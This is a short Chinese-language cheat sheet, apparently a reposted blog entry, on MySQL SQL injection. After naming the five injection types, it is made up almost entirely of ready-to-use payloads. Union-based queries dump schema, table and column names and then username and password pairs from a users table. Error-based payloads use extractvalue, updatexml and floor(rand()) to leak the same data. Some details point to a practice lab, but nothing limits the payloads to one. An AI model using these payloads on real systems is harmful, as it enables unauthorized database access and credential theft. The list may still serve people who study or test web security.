mysql注入

SQL的注入类型有以下5种:


Boolean-based blind SQL injection(布尔型注入)

Error-based SQL injection(报错型注入)

UNION query SQL injection(可联合查询注入)

Stacked queries SQL injection(可多语句查询注入)

Time-based blind SQL injection(基于时间延迟注入)

user() 当前用户名
database() 当前数据库名
version() MySQL 版本

@@basedir可以获取mysql的安装路径

@@datadir用来获取mysql的数据路径。

联合查询

union select concat('~',user(),database(),version())from users 链接函数将内容在一个显错位一起爆出来

union select group_concat(schema_name) from information_schema.schemata 爆全部的库名

union select table_name from information_schema.tables where table_schema=0x7365637572697479 爆表名

union select group_concat(table_name)from information_schema.tables where table_schema=database() 爆表名

union select column_name from information_schema.columns where table_name=0x7573657273 爆列名

union select concat_ws('~',id,username,PASSWORD) from users 爆内容

union select concat_ws(char(32,126,32),id,username,PASSWORD) from users 爆内容

union select concat_ws(char(32,126,32),`id`,`username`,`PASSWORD`) from users 爆内容

union select 1,group_concat(username,0x3a,password),3 from users 爆内容


报错查询
and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) 爆全部表

或者
and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+ 爆全部表


and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name=0x7573657273))) 爆全部列

 and extractvalue(1,concat(0x7e,(select group_concat(id,username,password)from users ))) 爆全部内容

and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))爆全部内容 用not in

mysql报错主要分为三种方式

报错型注入常用语句

and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and 1=updatexml(1,concat(0x7e,(select database())),1)
and 1=extractvalue(1,concat(0x7e,(select database())))

猜你喜欢

转载自www.cnblogs.com/fengshui/p/9265121.html